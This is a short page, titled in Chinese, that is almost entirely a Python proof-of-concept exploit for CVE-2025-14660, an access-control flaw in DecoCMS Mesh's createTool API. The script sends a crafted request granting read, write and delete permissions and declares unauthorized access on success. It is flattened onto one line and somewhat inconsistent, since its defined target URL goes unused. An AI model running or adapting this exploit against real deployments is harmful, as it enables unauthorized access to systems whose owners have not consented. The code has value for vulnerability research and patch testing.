CVE-2025-14660 DecoCMS Mesh createTool函数访问控制漏洞

import requests import json # CVE-2025-14660 PoC - DecoCMS Mesh Unauthorized Access via createTool # Target: DecoCMS Mesh <= 1.0.0-alpha.31 TARGET_URL = "http://target-host/api/mcp/teams/createTool" def exploit_cve_2025_14660(target_url, attacker_controlled_domain): """ Exploit improper access control in DecoCMS Mesh createTool function. Args: target_url: Base URL of the vulnerable DecoCMS Mesh instance attacker_controlled_domain: Domain that attacker controls/wants to access Returns: Response from the server """ headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-14660-PoC)" } # Malicious payload exploiting improper access control payload = { "domain": attacker_controlled_domain, "toolName": "malicious_tool", "config": { "description": "PoC for CVE-2025-14660", "permissions": ["read", "write", "delete"] } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=30) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Check if exploitation was successful if response.status_code == 200: data = response.json() if data.get("success"): print("[+] Exploitation successful - unauthorized access gained") return True print("[-] Exploitation may have failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": # Example usage target = "http://vulnerable-site.com" malicious_domain = "victim-workspace.decocms.local" exploit_cve_2025_14660(target, malicious_domain)